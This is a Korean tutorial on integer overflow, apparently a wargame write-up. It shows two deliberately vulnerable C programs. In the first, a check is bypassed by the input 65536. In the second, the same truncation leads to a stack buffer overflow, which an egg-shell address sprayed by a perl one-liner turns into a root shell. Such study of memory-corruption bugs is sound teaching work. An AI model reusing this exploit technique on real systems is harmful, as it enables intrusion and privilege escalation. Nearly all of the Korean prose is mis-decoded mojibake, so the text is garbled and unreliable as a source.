/* homepage: http://beist.org e-mail: beist@hanmail.net msn: beist@hotmail.com beist¿Í °ü·ÃµÈ »çÀÌÆ® : http://wowhacker.com (wowcode at wowhacker team) http://hackerschool.org (very good hacking portal site) */ Integer overflow °¡ À§ÇèÇÑ ÀÌÀ¯. ¾È³çÇϼ¼¿ä? phrack 60-10 ÀÇ Basic Integer Overflows (blexim) ¹®¼­¸¦ Àаí Á¶±Ý ºÎ°¡ ¼³¸íÀ» Çغ¸¾Ò½À´Ï´Ù. integer overflow ´Â º¯¼öÀÇ ¹üÀ§¿¡ ¿¡·¯¸¦ ÀÏÀ¸Å°´Â °ÍÀ» ¸»ÇÕ´Ï´Ù. ÄÄÇ»ÅÍ ¿¬»ê¿¡¼­ °¢ º¯¼öµéÀº, ÀڱⰡ »ç¿ëÇÒ ¼ö ÀÖ´Â ¹üÀ§°¡ Àִµ¥ »ç¿ëÀÚ°¡ ¾ÇÀÇÀûÀ¸·Î ÀÌ °ÍÀ» Á¶ÀÛ ÇÏ¿© °¢ º¯¼öÀÇ ¹üÀ§¸¦ ¹þ¾î³­ Å©±â¸¦ ¼¼ÆÃÇÏ·ÁÇϸé, º¯¼öÀÇ °ªÀÌ ¿¹»ó ¿ÜÀÇ °ªÀÌ ³ª¿Ã ¼ö°¡ ÀÖ½À´Ï´Ù. integer overflow ÀÚü¸¸À¸·Î´Â ½Ã½ºÅÛÀÇ ½©À» µû°Å³ª ÇÏ´Â ÇàÀ§¸¦ ÇÒ ¼ö ¾ø½À´Ï´Ù. integer overflow °ø°ÝÀÌ ¼º°øÇϱâ À§Çؼ­´Â, integer overflow ÀÇ °¡´É¼º, Áï ƯÁ¤ º¯¼ö¸¦ ¸¶À½´ë·Î Á¶ÀÛÇÒ ¼ö ÀÖ´Â °Í, ±×¸®°í ÇÁ·Î±×·¥ ¾Ë°í¸®Áò¿¡ °ø°ÝÀ» ÀÀ¿ëÇÒ ¼ö ÀÖ´Â Ãë¾à¼ºÀÌ Á¸ÀçÇؾßÇÕ´Ï´Ù. ¸ÕÀú °£´ÜÇÑ wargame ¹®Á¦¸¦ ¸¸µé¾î¼­ Ç®¾îº¸°Ú½À´Ï´Ù. xx.c #include #include int main(int argc, char **argv) { unsigned short check; int auth; if(argc != 2) { printf("EX) %s int\n", argv[0]); return -1; } auth = atoi(argv[1]); check = auth; if(check >= 10) { printf("check ¿¡ °É·ÈÀ½\n"); return -1; } if(auth <= 30) { printf("auth ¿¡ °É·ÈÀ½\n"); return -1; } printf("´ÙÀ½ ·¹º§ÀÇ ¾ÏÈ£ : yeah!! beist!!\n"); return 0; } À§ ¹®Á¦¿¡¼­ ´ÙÀ½ ·¹º§ÀÇ ¾ÏÈ£¸¦ ¾Ë¾Æ³»º¸°Ú½À´Ï´Ù. argv[1] ·Î ÀÔ·ÂÇÑ °ÍÀº Á¤¼öÇüÀ¸·Î º¯È¯µÇ¾î auth ¿¡ ÀúÀåµË´Ï´Ù. auth ´Â int ÇüÀε¥, ÀÌ °ÍÀ» ´Ù½Ã short ÇüÀÎ check ¿¡ ´ã½À´Ï´Ù. ¹®Á¦°¡ µÇ´Â ºÎºÐÀº ÀÌ ºÎºÐÀÔ´Ï´Ù. check ÀÇ ¹üÀ§´Â ÃÖÀú -32768 ¿¡¼­ ÃÖ°í 32767 ±îÁöÀε¥, unsigned ·Î ¼±¾ðÇϸé 65535 ±îÁö Ç¥ÇöÇÒ ¼ö ÀÖ½À´Ï´Ù. ¹Ý¸é¿¡ int °¡ ´ãÀ» ¼ö ÀÖ´Â ¹üÀ§´Â À̺¸´Ù ÈξÀ À§ÀÔ´Ï´Ù. ¸¸¾à ÀÌ ¹üÀ§¸¦ ¹þ¾î³­ ¼öÄ¡¸¦ short Çü º¯¼ö¿¡ ´ãÀ¸·Á°í ÇÏ¸é ¿À·ù°¡ »ý±â´Âµ¥, ÀÌ °ÍÀÌ ¹Ù·Î integer overflow ÀÇ ÇÙ½ÉÀÔ´Ï´Ù. ÀÌ °Í¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ºÎºÐÀº phrack ¹®¼­¸¦ º¸½Ã°í ¿©±â¼­´Â ±× ³»¿ë¿¡ ´ëÇÑ ÇÙ½ÉÀÌ µÇ´Â ºÎºÐ¸¸À» ¹®Á¦ Ç®ÀÌ·Î ¼³¸íÇÏ°Ú½À´Ï´Ù. ¸ÕÀú ù¹ø° if(check >= 10) ÀÎÁõÀ» ¿ìȸÇϱâ À§ÇØ check º¯¼ö¸¦ 10 º¸´Ù ÀÛ°Ô ¸¸µé ÇÊ¿ä°¡ ÀÖ½À´Ï´Ù. short º¯¼öÇü¿¡ Å« º¯¼ö°¡ ´ã±â¸é ¿¡·¯°¡ ³ª´Â °ÍÀ» ÀÌ¿ëÇØ short ÀÇ ÇÑ°èÄ¡ÀÎ 65535 À» ³Ñ¾î¼± ¼öÄ¡¸¦ ´ã¾Æº¸°Ú½À´Ï´Ù. ´ÙÀ½°ú °°Àº C ¼Ò½º¿¡¼­ Å×½ºÆ®¸¦ Çغ¸°Ú½À´Ï´Ù. xx2.c int main(int argc, char **argv) { unsigned short check; int auth; auth=atoi(argv[1]); check=auth; printf("°á°ú : %d\n", check); } [beist@hacking bof]$ ./xx2 655 °á°ú : 655 [beist@hacking bof]$ ./xx2 65536 °á°ú : 0 [beist@hacking bof]$ ./xx2 65537 °á°ú : 1 short Çü º¯¼ö check ¿¡´Â Á¤»óÀûÀÎ °ªÀÌ ´ã±âÁö ¾ÊÀ»Å×Áö¸¸ int Çü º¯¼ö auth ÀÇ °ªÀº º¯ÇÏÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù. ¿Ö³Ä¸é int Çü º¯¼ö´Â 65536 ÀÌ»óÀÇ ¼öÄ¡¸¦ ´ãÀ» ¼ö Àֱ⠶§¹®¿¡ short Çü°ú´Â ´Þ¸® overflow °¡ ³ªÁö ¾Ê°í Á¤»óÀûÀ¸·Î 󸮵DZ⠶§¹®ÀÔ´Ï´Ù. ¸¸¾à 65536 À» ÀÔ·ÂÇÑ´Ù¸é, check ¿¡´Â 0 ÀÌ ´ã±æ °ÍÀÌ°í auth ¿¡´Â 65536 ±×´ë·Î ´ã±â°Ô µÉ °ÍÀÔ´Ï´Ù. °á°úÀûÀ¸·Î ´ÙÀ½ ÀÎÁõµéÀº °¢°¢ if(check >= 10) -> if(0 >= 10) if(auth <= 30) -> if(65536 <= 30) ÀÌ·± ½ÄÀ¸·Î ÀÎÁõÀ» ȸÇÇÇÏ°í ¸¶Áö¸· printf ¹®À» ÅëÇØ ¾ÏÈ£¸¦ ¾Ë¾Æ³¾ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ¾ÏÈ£¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù. [beist@hacking bof]$ ./xx 5 auth ¿¡ °É·ÈÀ½ [beist@hacking bof]$ ./xx 40 check ¿¡ °É·ÈÀ½ [beist@hacking bof]$ ./xx 65536 ´ÙÀ½ ·¹º§ÀÇ ¾ÏÈ£ : yeah!! beist!! ÀÌÁ¦ integer overflow ¸¦ ÀÌ¿ëÇÏ¿© ½ÇÁ¦·Î ½©À» µþ ¼ö ÀÖ´Â °£´ÜÇÑ ¿¹Á¦¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú½À´Ï´Ù. wargame.c void function(char *str, int count) { char buf[65000]; strncpy(buf, str, count); printf("result : %s\n"); } int main(int argc, char *argv[]) { unsigned short check; int auth; if(argc != 3) { printf("EX) %s int string\n", argv[0]); return -1; } auth=atoi(argv[1]); check=auth; if(check >= 65000) { printf("check ¿¡ °É·ÈÀ½\n"); return -1; } function(argv[2], auth); } À§ ¿ö°ÔÀÓ ¹®Á¦´Â, »ç¿ëÀÚÀÇ argv[1] À» ÀÐÀº ÈÄ¿¡, ±× °ÍÀ» Á¤¼öÇüÀ¸·Î º¯È¯ÇÏ¿© auth ¿¡ ÀúÀå½Ãŵ´Ï´Ù. ±× °ÍÀ» ´Ù½Ã short ÇüÀÎ check ¿¡ ´ã°í, ¸¸¾à check ÀÇ Å©±â°¡ 65000 ÀÌ»óÀ̶ó¸é ÀÎÁõ¿¡ °É·Á ÇÁ·Î±×·¥À» Á¾·á½Ãŵ´Ï´Ù. ÀÎÁõÀ» °ÅÄ¡´Â ÀÌÀ¯´Â function ÇÔ¼ö¿¡¼­ strncpy() À» ÇÒ ¶§, buf[] Å©±â ÀÌ»óÀ» strncpy() ÇÔ¼öÀÇ ÀÎÀÚ·Î »ç¿ëÇϸé buf[] Å©±â ÀÌ»óÀ» copy ÇÏ·ÁÇϹǷΠoverflow °¡ ÀϾ ¼öµµ Àֱ⠶§¹®ÀÔ´Ï´Ù. buf[] ÀÇ Å©±â´Â 65000 À¸·Î ¼±¾ð µÇ¾îÀÖÀ¸¸ç ±×·¡¼­ ÀÎÁõ¿¡ 65000 ÀÌ»óÀÇ count °¡ ¿Ã °æ¿ì ÇÁ·Î±×·¥ ½ÇÇàÀ» ÁßÁö½Ãŵ´Ï´Ù. À§ ¾Ë°í¸®Áò´ë·Î¶ó¸é »ç¿ëÀÚ´Â 65000 ÀÌ»óÀÇ ¼ýÀÚ¸¦ ÀÔ·ÂÇÒ ¼ö ¾øÀ¸¹Ç·Î function() ÇÔ¼ö¿¡¼­ overflow ¸¦ ÀÏÀ¸ Å°±â´Â Èûµé °Í °°½À´Ï´Ù. ÇÏÁö¸¸ short ÇüÀÇ ÇÑ°èÄ¡ ¹üÀ§¸¦ ÀÌ¿ëÇØ °ø°ÝÇÑ´Ù¸é ÀÌ ÀÎÁõÀ» ȸÇÇÇØ ³ª°¥¼ö ÀÖ½À´Ï´Ù. xx.c ¸¦ °ø°ÝÇß´ø °Íó·³ short ÀÌ»óÀÇ ¹üÀ§ÀÎ 65536 À» ÀÔ·ÂÇÏ°Ô µÇ¸é, ÀÎÁõÀº ´ÙÀ½°ú °°ÀÌ µÉ °ÍÀÔ´Ï´Ù. if(check >= 65000) -> if(0 >= 65000) ±×¸®°í function() ÇÔ¼ö¿¡´Â ´ÙÀ½°ú °°ÀÌ Àü´ÞµÉ °ÍÀÔ´Ï´Ù. functioin(argv[2], 65536); ÀÌ·¸°Ô µÇ¸é function() ÇÔ¼ö°¡ strncpy() ¸¦ ¼öÇàÇÒ ¶§ buf[] ÀÇ ÇѰ踦 ¹þ¾î³­ ´ÙÀ½À» ¼öÇàÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù. strncpy(buf, str, 65536); buf[] ÀÇ ÇÑ°èÀÎ 65000 À» ³Ñ¾î¼± copy ¸¦ ½ÃµµÇÏ°Ô µÇ¸é, buf[] ÀÇ ¿µ¿ªÀ» ¹þ¾î³ª°Ô µÇ°í, °á±¹¿£ sfp, ret ±îÁö µ¤¾î¾µ ¼ö ÀÖ°Ô µË´Ï´Ù. ´ÙÀ½°ú °°Àº ¹æ¹ýÀ¸·Î °ø°ÝÀ» ½ÃµµÇغ¸°Ú½À´Ï´Ù. 1. ½©Äڵ带 ¸Þ¸ð¸®¿¡ ¿Ã·Á³õ´Â´Ù. (egg shell) 2. argv[1] ¿¡ 65536 À» ÀÔ·ÂÇÑ´Ù. 3. argv[2] ¿¡ 65536 ¸¸Å­ÀÇ egg shell ÀÇ ÁÖ¼Ò¸¦ ÀÔ·ÂÇÑ´Ù. (ÁÖ¼Ò°ªÀº 4 ¹ÙÀÌÆ®¸¦ Â÷ÁöÇÏ°í 65536 ¸¸Å­ ÀÔ·ÂÇÏ·Á¸é 4*16384 ¸¦ ÇؾßÇÕ´Ï´Ù.) [beist@beist bof]$ ./egg Using address: 0xbffffb18 [beist@beist bof]$ ./wargame 65536 `perl -e 'print "\x18\xfb\xff\xbf"x16384'` result : ¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿¿û¿û¿û¿û¿ û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿ .. »ý·« .. .. »ý·« .. .. »ý·« .. û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿û¿ sh-2.05# À§¿Í °°ÀÌ ½©ÀÌ ¶³¾îÁ³½À´Ï´Ù. buf[65000] À» ÃÊ°úÇÑ 36 ¹ÙÀÌÆ®°¡ °Å½½·¯ ¿Ã¶ó°¡ sfp, ±×¸®°í ret ¿µ¿ª±îÁö µ¤¾ú°í, ±× ¿µ¿ªÀ» µ¤Àº °ÍÀº argv[2], Áï egg shell ÀÇ ÁÖ¼Ò°¡ µÇ¹Ç·Î, ½©À» ¾òÀ» ¼ö ÀÖ¾ú½À´Ï´Ù. À§ wargame µéÀº integer overflow ¸¦ °ø°ÝÇÒ ¼ö ÀÖ´Â °¡Àå °£´ÜÇÑ ¹æ¹ýÀÔ´Ï´Ù. À§ °æ¿ìµéÀ» º¸½Ã¸é ¾Æ½Ã°ÚÁö¸¸, ÀÌ °ÍÀÌ ¸¸¾à ´Ù¸¥ »óȲÀ̶ó¸é, ¿¹¸¦ µé¾î ´Ü¼øÈ÷ º¯¼öÀÇ overflow ¸¸ ÀϾ°í ±× °ÍÀÌ ÇÁ·Î±×·¥ÀÇ ÁøÇà¿¡´Â ÀüÇô ¿µÇâÀ» ÁÖÁö ¾Ê´Â º¯¼ö¶ó¸é integer overflow ·Î ½©À» µû°Å³ª ÇÏ´Â ÇàÀ§´Â ÇÒ ¼ö ¾øÀ» °ÍÀÔ´Ï´Ù. ½±°Ô ¼³¸íÇÏÀÚ¸é ¿ì¸®°¡ overflow ¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Â º¯¼ö°¡ ÇÁ·Î±×·¥¿¡¼­ Áß¿äÇÑ ºÎºÐÀ» Â÷ÁöÇÏ´Â º¯¼ö°¡ ¾Æ´Ï¶ó¸é ´Ü¼øÈ÷ integer overflow ¸¸À» ÀÏÀ¸Å°´Â ÇàÀ§¿¡¼­ ±×Ä¥ °ÍÀÔ´Ï´Ù. integer overflow ¿¡ ´ëÇؼ­ °£´ÜÈ÷ ¾Ë¾Æº¸¾Ò½À´Ï´Ù. ±×·³ À̸¸..